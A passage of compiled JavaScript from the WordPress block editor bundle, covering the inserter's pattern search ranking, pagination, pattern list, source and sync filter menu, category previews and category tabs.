42498 splitRegexp,
42499 stripRegexp
42500 }).split(" ").filter(Boolean);
42501 extractedWords.set(input, result);
42502 return result;
42503}
42504function normalizeString(input = "") {
42505 if (normalizedStrings.has(input)) {
42506 return normalizedStrings.get(input);
42507 }
42508 let result = remove_accents_default()(input);
42509 result = result.replace(/^\//, "");
42510 result = result.toLowerCase();
42511 normalizedStrings.set(input, result);
42512 return result;
42513}
42514const getNormalizedSearchTerms = (input = "") => {
42515 return extractWords(normalizeString(input));
42516};
42517const removeMatchingTerms = (unmatchedTerms, unprocessedTerms) => {
42518 return unmatchedTerms.filter(
42519 (term) => !getNormalizedSearchTerms(unprocessedTerms).some(
42520 (unprocessedTerm) => unprocessedTerm.includes(term)
42521 )
42522 );
42523};
42524const searchBlockItems = (items, categories, collections, searchInput) => {
42525 const normalizedSearchTerms = getNormalizedSearchTerms(searchInput);
42526 if (normalizedSearchTerms.length === 0) {
42527 return items;
42528 }
42529 const config = {
42530 getCategory: (item) => categories.find(({ slug }) => slug === item.category)?.title,
42531 getCollection: (item) => collections[item.name.split("/")[0]]?.title
42532 };
42533 return searchItems(items, searchInput, config);
42534};
42535const searchItems = (items = [], searchInput = "", config = {}) => {
42536 const normalizedSearchTerms = getNormalizedSearchTerms(searchInput);
42537 if (normalizedSearchTerms.length === 0) {
42538 return items;
42539 }
42540 const rankedItems = items.map((item) => {
42541 return [item, getItemSearchRank(item, searchInput, config)];
42542 }).filter(([, rank]) => rank > 0);
42543 rankedItems.sort(([, rank1], [, rank2]) => rank2 - rank1);
42544 return rankedItems.map(([item]) => item);
42545};
42546function getItemSearchRank(item, searchTerm, config = {}) {
42547 const {
42548 getName = defaultGetName,
42549 getTitle = defaultGetTitle,
42550 getDescription = defaultGetDescription,
42551 getKeywords = defaultGetKeywords,
42552 getCategory = defaultGetCategory,
42553 getCollection = defaultGetCollection
42554 } = config;
42555 const name = getName(item);
42556 const title = getTitle(item);
42557 const description = getDescription(item);
42558 const keywords = getKeywords(item);
42559 const category = getCategory(item);
42560 const collection = getCollection(item);
42561 const normalizedSearchInput = normalizeString(searchTerm);
42562 const normalizedTitle = normalizeString(title);
42563 let rank = 0;
42564 if (normalizedSearchInput === normalizedTitle) {
42565 rank += 30;
42566 } else if (normalizedTitle.startsWith(normalizedSearchInput)) {
42567 rank += 20;
42568 } else {
42569 const terms = [
42570 name,
42571 title,
42572 description,
42573 ...keywords,
42574 category,
42575 collection
42576 ].join(" ");
42577 const normalizedSearchTerms = extractWords(normalizedSearchInput);
42578 const unmatchedTerms = removeMatchingTerms(
42579 normalizedSearchTerms,
42580 terms
42581 );
42582 if (unmatchedTerms.length === 0) {
42583 rank += 10;
42584 }
42585 }
42586 if (rank !== 0 && name.startsWith("core/")) {
42587 const isCoreBlockVariation = name !== item.id;
42588 rank += isCoreBlockVariation ? 1 : 2;
42589 }
42590 return rank;
42591}
42592
42593
42594;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/hooks/use-patterns-paging.js
42595
42596
42597
42598const PAGE_SIZE = 20;
42599function usePatternsPaging(currentCategoryPatterns, currentCategory, scrollContainerRef, currentFilter = "") {
42600 const [currentPage, setCurrentPage] = (0,external_wp_element_namespaceObject.useState)(1);
42601 const previousCategory = (0,external_wp_compose_namespaceObject.usePrevious)(currentCategory);
42602 const previousFilter = (0,external_wp_compose_namespaceObject.usePrevious)(currentFilter);
42603 if ((previousCategory !== currentCategory || previousFilter !== currentFilter) && currentPage !== 1) {
42604 setCurrentPage(1);
42605 }
42606 const totalItems = currentCategoryPatterns.length;
42607 const pageIndex = currentPage - 1;
42608 const categoryPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
42609 return currentCategoryPatterns.slice(
42610 pageIndex * PAGE_SIZE,
42611 pageIndex * PAGE_SIZE + PAGE_SIZE
42612 );
42613 }, [pageIndex, currentCategoryPatterns]);
42614 const numPages = Math.ceil(currentCategoryPatterns.length / PAGE_SIZE);
42615 const changePage = (page) => {
42616 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(
42617 scrollContainerRef?.current
42618 );
42619 scrollContainer?.scrollTo(0, 0);
42620 setCurrentPage(page);
42621 };
42622 (0,external_wp_element_namespaceObject.useEffect)(
42623 function scrollToTopOnCategoryChange() {
42624 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(
42625 scrollContainerRef?.current
42626 );
42627 scrollContainer?.scrollTo(0, 0);
42628 },
42629 [currentCategory, scrollContainerRef]
42630 );
42631 return {
42632 totalItems,
42633 categoryPatterns,
42634 numPages,
42635 changePage,
42636 currentPage
42637 };
42638}
42639
42640
42641;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-explorer/pattern-list.js
42642
42643
42644
42645
42646
42647
42648
42649
42650
42651
42652
42653
42654
42655
42656function PatternsListHeader({ filterValue, filteredBlockPatternsLength }) {
42657 if (!filterValue) {
42658 return null;
42659 }
42660 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42661 external_wp_components_namespaceObject.__experimentalHeading,
42662 {
42663 level: 2,
42664 lineHeight: "48px",
42665 className: "block-editor-block-patterns-explorer__search-results-count",
42666 children: (0,external_wp_i18n_namespaceObject.sprintf)(
42667 /* translators: %d: number of patterns. */
42668 (0,external_wp_i18n_namespaceObject._n)(
42669 "%d pattern found",
42670 "%d patterns found",
42671 filteredBlockPatternsLength
42672 ),
42673 filteredBlockPatternsLength
42674 )
42675 }
42676 );
42677}
42678function PatternList({
42679 searchValue,
42680 selectedCategory,
42681 patternCategories,
42682 rootClientId,
42683 onModalClose
42684}) {
42685 const container = (0,external_wp_element_namespaceObject.useRef)();
42686 const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
42687 const [destinationRootClientId, onInsertBlocks] = use_insertion_point_default({
42688 rootClientId,
42689 shouldFocusBlock: true
42690 });
42691 const [patterns, , onClickPattern] = use_patterns_state_default(
42692 onInsertBlocks,
42693 destinationRootClientId,
42694 selectedCategory
42695 );
42696 const registeredPatternCategories = (0,external_wp_element_namespaceObject.useMemo)(
42697 () => patternCategories.map(
42698 (patternCategory) => patternCategory.name
42699 ),
42700 [patternCategories]
42701 );
42702 const filteredBlockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
42703 const filteredPatterns = patterns.filter((pattern) => {
42704 if (selectedCategory === allPatternsCategory.name) {
42705 return true;
42706 }
42707 if (selectedCategory === myPatternsCategory.name && pattern.type === INSERTER_PATTERN_TYPES.user) {
42708 return true;
42709 }
42710 if (selectedCategory === starterPatternsCategory.name && pattern.blockTypes?.includes("core/post-content")) {
42711 return true;
42712 }
42713 if (selectedCategory === "uncategorized") {
42714 const hasKnownCategory = pattern.categories?.some(
42715 (category) => registeredPatternCategories.includes(category)
42716 ) ?? false;
42717 return !pattern.categories?.length || !hasKnownCategory;
42718 }
42719 return pattern.categories?.includes(selectedCategory);
42720 });
42721 if (!searchValue) {
42722 return filteredPatterns;
42723 }
42724 return searchItems(filteredPatterns, searchValue);
42725 }, [
42726 searchValue,
42727 patterns,
42728 selectedCategory,
42729 registeredPatternCategories
42730 ]);
42731 (0,external_wp_element_namespaceObject.useEffect)(() => {
42732 if (!searchValue) {
42733 return;
42734 }
42735 const count = filteredBlockPatterns.length;
42736 const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
42737 /* translators: %d: number of results. */
42738 (0,external_wp_i18n_namespaceObject._n)("%d result found.", "%d results found.", count),
42739 count
42740 );
42741 debouncedSpeak(resultsFoundMessage);
42742 }, [searchValue, debouncedSpeak, filteredBlockPatterns.length]);
42743 const pagingProps = usePatternsPaging(
42744 filteredBlockPatterns,
42745 selectedCategory,
42746 container
42747 );
42748 const [previousSearchValue, setPreviousSearchValue] = (0,external_wp_element_namespaceObject.useState)(searchValue);
42749 if (searchValue !== previousSearchValue) {
42750 setPreviousSearchValue(searchValue);
42751 pagingProps.changePage(1);
42752 }
42753 const hasItems = !!filteredBlockPatterns?.length;
42754 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42755 "div",
42756 {
42757 className: "block-editor-block-patterns-explorer__list",
42758 ref: container,
42759 children: [
42760 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42761 PatternsListHeader,
42762 {
42763 filterValue: searchValue,
42764 filteredBlockPatternsLength: filteredBlockPatterns.length
42765 }
42766 ),
42767 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_listbox_default, { children: hasItems && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
42768 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42769 block_patterns_list_default,
42770 {
42771 blockPatterns: pagingProps.categoryPatterns,
42772 onClickPattern: (pattern, blocks) => {
42773 onClickPattern(pattern, blocks);
42774 onModalClose();
42775 },
42776 isDraggable: false
42777 }
42778 ),
42779 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Pagination, { ...pagingProps })
42780 ] }) })
42781 ]
42782 }
42783 );
42784}
42785var pattern_list_default = PatternList;
42786
42787
42788;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-tab/use-pattern-categories.js
42789
42790
42791
42792
42793
42794function hasRegisteredCategory(pattern, allCategories) {
42795 if (!pattern.categories || !pattern.categories.length) {
42796 return false;
42797 }
42798 return pattern.categories.some(
42799 (cat) => allCategories.some((category) => category.name === cat)
42800 );
42801}
42802function usePatternCategories(rootClientId, sourceFilter = "all") {
42803 const [patterns, allCategories] = use_patterns_state_default(
42804 void 0,
42805 rootClientId
42806 );
42807 const filteredPatterns = (0,external_wp_element_namespaceObject.useMemo)(
42808 () => sourceFilter === "all" ? patterns : patterns.filter(
42809 (pattern) => !isPatternFiltered(pattern, sourceFilter)
42810 ),
42811 [sourceFilter, patterns]
42812 );
42813 const populatedCategories = (0,external_wp_element_namespaceObject.useMemo)(() => {
42814 const categories = allCategories.filter(
42815 (category) => filteredPatterns.some(
42816 (pattern) => pattern.categories?.includes(category.name)
42817 )
42818 ).sort((a, b) => a.label.localeCompare(b.label));
42819 if (filteredPatterns.some(
42820 (pattern) => !hasRegisteredCategory(pattern, allCategories)
42821 ) && !categories.find(
42822 (category) => category.name === "uncategorized"
42823 )) {
42824 categories.push({
42825 name: "uncategorized",
42826 label: (0,external_wp_i18n_namespaceObject._x)("Uncategorized")
42827 });
42828 }
42829 if (filteredPatterns.some(
42830 (pattern) => pattern.blockTypes?.includes("core/post-content")
42831 )) {
42832 categories.unshift(starterPatternsCategory);
42833 }
42834 if (filteredPatterns.some(
42835 (pattern) => pattern.type === INSERTER_PATTERN_TYPES.user
42836 )) {
42837 categories.unshift(myPatternsCategory);
42838 }
42839 if (filteredPatterns.length > 0) {
42840 categories.unshift({
42841 name: allPatternsCategory.name,
42842 label: allPatternsCategory.label
42843 });
42844 }
42845 (0,external_wp_a11y_namespaceObject.speak)(
42846 (0,external_wp_i18n_namespaceObject.sprintf)(
42847 /* translators: %d: number of categories . */
42848 (0,external_wp_i18n_namespaceObject._n)(
42849 "%d category button displayed.",
42850 "%d category buttons displayed.",
42851 categories.length
42852 ),
42853 categories.length
42854 )
42855 );
42856 return categories;
42857 }, [allCategories, filteredPatterns]);
42858 return populatedCategories;
42859}
42860
42861
42862;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-explorer/index.js
42863
42864
42865
42866
42867
42868
42869
42870function PatternsExplorer({ initialCategory, rootClientId, onModalClose }) {
42871 const [searchValue, setSearchValue] = (0,external_wp_element_namespaceObject.useState)("");
42872 const [selectedCategory, setSelectedCategory] = (0,external_wp_element_namespaceObject.useState)(
42873 initialCategory?.name
42874 );
42875 const patternCategories = usePatternCategories(rootClientId);
42876 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-patterns-explorer", children: [
42877 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42878 pattern_explorer_sidebar_default,
42879 {
42880 selectedCategory,
42881 patternCategories,
42882 onClickCategory: setSelectedCategory,
42883 searchValue,
42884 setSearchValue
42885 }
42886 ),
42887 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42888 pattern_list_default,
42889 {
42890 searchValue,
42891 selectedCategory,
42892 patternCategories,
42893 rootClientId,
42894 onModalClose
42895 }
42896 )
42897 ] });
42898}
42899function PatternsExplorerModal({ onModalClose, ...restProps }) {
42900 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42901 external_wp_components_namespaceObject.Modal,
42902 {
42903 title: (0,external_wp_i18n_namespaceObject.__)("Patterns"),
42904 onRequestClose: onModalClose,
42905 isFullScreen: true,
42906 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsExplorer, { onModalClose, ...restProps })
42907 }
42908 );
42909}
42910var block_patterns_explorer_default = PatternsExplorerModal;
42911
42912
42913;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/mobile-tab-navigation.js
42914
42915
42916
42917
42918function ScreenHeader({ title }) {
42919 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginBottom: 0, paddingX: 4, paddingY: 3, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, children: [
42920 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42921 external_wp_components_namespaceObject.Navigator.BackButton,
42922 {
42923 style: (
42924 // TODO: This style override is also used in ToolsPanelHeader.
42925 // It should be supported out-of-the-box by Button.
42926 { minWidth: 24, padding: 0 }
42927 ),
42928 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
42929 size: "small",
42930 label: (0,external_wp_i18n_namespaceObject.__)("Back")
42931 }
42932 ),
42933 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 5, children: title }) })
42934 ] }) }) }) });
42935}
42936function MobileTabNavigation({ categories, children }) {
42937 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42938 external_wp_components_namespaceObject.Navigator,
42939 {
42940 initialPath: "/",
42941 className: "block-editor-inserter__mobile-tab-navigation",
42942 children: [
42943 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Screen, { path: "/", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { children: categories.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42944 external_wp_components_namespaceObject.Navigator.Button,
42945 {
42946 path: `/category/${category.name}`,
42947 as: external_wp_components_namespaceObject.__experimentalItem,
42948 isAction: true,
42949 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
42950 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: category.label }),
42951 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42952 icon_default,
42953 {
42954 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default
42955 }
42956 )
42957 ] })
42958 },
42959 category.name
42960 )) }) }),
42961 categories.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42962 external_wp_components_namespaceObject.Navigator.Screen,
42963 {
42964 path: `/category/${category.name}`,
42965 children: [
42966 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenHeader, { title: (0,external_wp_i18n_namespaceObject.__)("Back") }),
42967 children(category)
42968 ]
42969 },
42970 category.name
42971 ))
42972 ]
42973 }
42974 );
42975}
42976
42977
42978;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-tab/patterns-filter.js
42979
42980
42981
42982
42983
42984
42985const getShouldDisableSyncFilter = (sourceFilter) => sourceFilter !== "all" && sourceFilter !== "user";
42986const getShouldHideSourcesFilter = (category) => {
42987 return category.name === myPatternsCategory.name;
42988};
42989const PATTERN_SOURCE_MENU_OPTIONS = [
42990 {
42991 value: "all",
42992 label: (0,external_wp_i18n_namespaceObject._x)("All", "patterns")
42993 },
42994 {
42995 value: INSERTER_PATTERN_TYPES.directory,
42996 label: (0,external_wp_i18n_namespaceObject.__)("Pattern Directory")
42997 },
42998 {
42999 value: INSERTER_PATTERN_TYPES.theme,
43000 label: (0,external_wp_i18n_namespaceObject.__)("Theme & Plugins")
43001 },
43002 {
43003 value: INSERTER_PATTERN_TYPES.user,
43004 label: (0,external_wp_i18n_namespaceObject.__)("User")
43005 }
43006];
43007function PatternsFilter({
43008 setPatternSyncFilter,
43009 setPatternSourceFilter,
43010 patternSyncFilter,
43011 patternSourceFilter,
43012 scrollContainerRef,
43013 category
43014}) {
43015 const currentPatternSourceFilter = category.name === myPatternsCategory.name ? INSERTER_PATTERN_TYPES.user : patternSourceFilter;
43016 const shouldDisableSyncFilter = getShouldDisableSyncFilter(
43017 currentPatternSourceFilter
43018 );
43019 const shouldHideSourcesFilter = getShouldHideSourcesFilter(category);
43020 const patternSyncMenuOptions = (0,external_wp_element_namespaceObject.useMemo)(
43021 () => [
43022 {
43023 value: "all",
43024 label: (0,external_wp_i18n_namespaceObject._x)("All", "patterns")
43025 },
43026 {
43027 value: INSERTER_SYNC_TYPES.full,
43028 label: (0,external_wp_i18n_namespaceObject._x)("Synced", "patterns"),
43029 disabled: shouldDisableSyncFilter
43030 },
43031 {
43032 value: INSERTER_SYNC_TYPES.unsynced,
43033 label: (0,external_wp_i18n_namespaceObject._x)("Not synced", "patterns"),
43034 disabled: shouldDisableSyncFilter
43035 }
43036 ],
43037 [shouldDisableSyncFilter]
43038 );
43039 function handleSetSourceFilterChange(newSourceFilter) {
43040 setPatternSourceFilter(newSourceFilter);
43041 if (getShouldDisableSyncFilter(newSourceFilter)) {
43042 setPatternSyncFilter("all");
43043 }
43044 }
43045 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43046 external_wp_components_namespaceObject.DropdownMenu,
43047 {
43048 popoverProps: {
43049 placement: "right-end"
43050 },
43051 label: (0,external_wp_i18n_namespaceObject.__)("Filter patterns"),
43052 toggleProps: { size: "compact" },
43053 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43054 icon_default,
43055 {
43056 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43057 external_wp_components_namespaceObject.SVG,
43058 {
43059 width: "24",
43060 height: "24",
43061 viewBox: "0 0 24 24",
43062 fill: "none",
43063 xmlns: "http://www.w3.org/2000/svg",
43064 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43065 external_wp_components_namespaceObject.Path,
43066 {
43067 d: "M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z",
43068 fill: "currentColor"
43069 }
43070 )
43071 }
43072 )
43073 }
43074 ),
43075 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43076 !shouldHideSourcesFilter && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Source"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43077 external_wp_components_namespaceObject.MenuItemsChoice,
43078 {
43079 choices: PATTERN_SOURCE_MENU_OPTIONS,
43080 onSelect: (value) => {
43081 handleSetSourceFilterChange(value);
43082 scrollContainerRef.current?.scrollTo(
43083 0,
43084 0
43085 );
43086 },
43087 value: currentPatternSourceFilter
43088 }
43089 ) }),
43090 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Type"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43091 external_wp_components_namespaceObject.MenuItemsChoice,
43092 {
43093 choices: patternSyncMenuOptions,
43094 onSelect: (value) => {
43095 setPatternSyncFilter(value);
43096 scrollContainerRef.current?.scrollTo(
43097 0,
43098 0
43099 );
43100 },
43101 value: patternSyncFilter
43102 }
43103 ) }),
43104 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__patterns-filter-help", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
43105 (0,external_wp_i18n_namespaceObject.__)(
43106 "Patterns are available from the <Link>WordPress.org Pattern Directory</Link>, bundled in the active theme, or created by users on this site. Only patterns created on this site can be synced."
43107 ),
43108 {
43109 Link: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43110 external_wp_components_namespaceObject.ExternalLink,
43111 {
43112 href: (0,external_wp_i18n_namespaceObject.__)(
43113 "https://wordpress.org/patterns/"
43114 )
43115 }
43116 )
43117 }
43118 ) })
43119 ] })
43120 }
43121 ) });
43122}
43123
43124
43125;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-tab/pattern-category-previews.js
43126
43127
43128
43129
43130
43131
43132
43133
43134
43135
43136const pattern_category_previews_noop = () => {
43137};
43138function PatternCategoryPreviews({
43139 rootClientId,
43140 onInsert,
43141 onHover = pattern_category_previews_noop,
43142 category,
43143 showTitlesAsTooltip
43144}) {
43145 const [allPatterns, , onClickPattern] = use_patterns_state_default(
43146 onInsert,
43147 rootClientId,
43148 category?.name
43149 );
43150 const [patternSyncFilter, setPatternSyncFilter] = (0,external_wp_element_namespaceObject.useState)("all");
43151 const [patternSourceFilter, setPatternSourceFilter] = (0,external_wp_element_namespaceObject.useState)("all");
43152 const availableCategories = usePatternCategories(
43153 rootClientId,
43154 patternSourceFilter
43155 );
43156 const scrollContainerRef = (0,external_wp_element_namespaceObject.useRef)();
43157 const currentCategoryPatterns = (0,external_wp_element_namespaceObject.useMemo)(
43158 () => allPatterns.filter((pattern) => {
43159 if (isPatternFiltered(
43160 pattern,
43161 patternSourceFilter,
43162 patternSyncFilter
43163 )) {
43164 return false;
43165 }
43166 if (category.name === allPatternsCategory.name) {
43167 return true;
43168 }
43169 if (category.name === myPatternsCategory.name && pattern.type === INSERTER_PATTERN_TYPES.user) {
43170 return true;
43171 }
43172 if (category.name === starterPatternsCategory.name && pattern.blockTypes?.includes("core/post-content")) {
43173 return true;
43174 }
43175 if (category.name === "uncategorized") {
43176 if (!pattern.categories) {
43177 return true;
43178 }
43179 return !pattern.categories.some(
43180 (catName) => availableCategories.some((c) => c.name === catName)
43181 );
43182 }
43183 return pattern.categories?.includes(category.name);
43184 }),
43185 [
43186 allPatterns,
43187 availableCategories,
43188 category.name,
43189 patternSourceFilter,
43190 patternSyncFilter
43191 ]
43192 );
43193 const pagingProps = usePatternsPaging(
43194 currentCategoryPatterns,
43195 category,
43196 scrollContainerRef
43197 );
43198 const { changePage } = pagingProps;
43199 (0,external_wp_element_namespaceObject.useEffect)(() => () => onHover(null), []);
43200 const onSetPatternSyncFilter = (0,external_wp_element_namespaceObject.useCallback)(
43201 (value) => {
43202 setPatternSyncFilter(value);
43203 changePage(1);
43204 },
43205 [setPatternSyncFilter, changePage]
43206 );
43207 const onSetPatternSourceFilter = (0,external_wp_element_namespaceObject.useCallback)(
43208 (value) => {
43209 setPatternSourceFilter(value);
43210 changePage(1);
43211 },
43212 [setPatternSourceFilter, changePage]
43213 );
43214 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43215 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43216 external_wp_components_namespaceObject.__experimentalVStack,
43217 {
43218 spacing: 2,
43219 className: "block-editor-inserter__patterns-category-panel-header",
43220 children: [
43221 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
43222 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43223 external_wp_components_namespaceObject.__experimentalHeading,
43224 {
43225 className: "block-editor-inserter__patterns-category-panel-title",
43226 size: 13,
43227 level: 4,
43228 as: "div",
43229 children: category.label
43230 }
43231 ) }),
43232 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43233 PatternsFilter,
43234 {
43235 patternSyncFilter,
43236 patternSourceFilter,
43237 setPatternSyncFilter: onSetPatternSyncFilter,
43238 setPatternSourceFilter: onSetPatternSourceFilter,
43239 scrollContainerRef,
43240 category
43241 }
43242 )
43243 ] }),
43244 !currentCategoryPatterns.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43245 external_wp_components_namespaceObject.__experimentalText,
43246 {
43247 variant: "muted",
43248 className: "block-editor-inserter__patterns-category-no-results",
43249 children: (0,external_wp_i18n_namespaceObject.__)("No results found")
43250 }
43251 )
43252 ]
43253 }
43254 ),
43255 currentCategoryPatterns.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43256 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43257 external_wp_components_namespaceObject.__experimentalText,
43258 {
43259 size: "12",
43260 as: "p",
43261 className: "block-editor-inserter__help-text",
43262 children: (0,external_wp_i18n_namespaceObject.__)("Drag and drop patterns into the canvas.")
43263 }
43264 ),
43265 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43266 block_patterns_list_default,
43267 {
43268 ref: scrollContainerRef,
43269 blockPatterns: pagingProps.categoryPatterns,
43270 onClickPattern,
43271 onHover,
43272 label: category.label,
43273 orientation: "vertical",
43274 category: category.name,
43275 isDraggable: true,
43276 showTitlesAsTooltip,
43277 patternFilter: patternSourceFilter,
43278 pagingProps
43279 }
43280 )
43281 ] })
43282 ] });
43283}
43284
43285
43286;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/category-tabs/index.js
43287
43288
43289
43290
43291
43292const { Tabs: category_tabs_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
43293function CategoryTabs({
43294 categories,
43295 selectedCategory,
43296 onSelectCategory,
43297 children
43298}) {
43299 const ANIMATION_DURATION = 0.25;
43300 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
43301 const defaultTransition = {
43302 type: "tween",
43303 duration: disableMotion ? 0 : ANIMATION_DURATION,
43304 ease: [0.6, 0, 0.4, 1]
43305 };
43306 const previousSelectedCategory = (0,external_wp_compose_namespaceObject.usePrevious)(selectedCategory);
43307 const selectedTabId = selectedCategory ? selectedCategory.name : null;
43308 const [activeTabId, setActiveId] = (0,external_wp_element_namespaceObject.useState)();
43309 const firstTabId = categories?.[0]?.name;
43310 if (selectedTabId === null && !activeTabId && firstTabId) {
43311 setActiveId(firstTabId);
43312 }
43313 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43314 category_tabs_Tabs,
43315 {
43316 selectOnMove: false,
43317 selectedTabId,
43318 orientation: "vertical",
43319 onSelect: (categoryId) => {
43320 onSelectCategory(
43321 categories.find(
43322 (category) => category.name === categoryId
43323 )
43324 );
43325 },
43326 activeTabId,
43327 onActiveTabIdChange: setActiveId,
43328 children: [
43329 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(category_tabs_Tabs.TabList, { className: "block-editor-inserter__category-tablist", children: categories.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43330 category_tabs_Tabs.Tab,
43331 {
43332 tabId: category.name,
43333 "aria-current": category === selectedCategory ? "true" : void 0,
43334 children: category.label
43335 },
43336 category.name
43337 )) }),
43338 categories.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43339 category_tabs_Tabs.TabPanel,
43340 {
43341 tabId: category.name,
43342 focusable: false,
43343 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43344 external_wp_components_namespaceObject.__unstableMotion.div,
43345 {
43346 className: "block-editor-inserter__category-panel",
43347 initial: !previousSelectedCategory ? "closed" : "open",
43348 animate: "open",
43349 variants: {
43350 open: {
43351 transform: "translateX( 0 )",
43352 transitionEnd: {
43353 zIndex: "1"
43354 }
43355 },
43356 closed: {
43357 transform: "translateX( -100% )",
43358 zIndex: "-1"
43359 }
43360 },
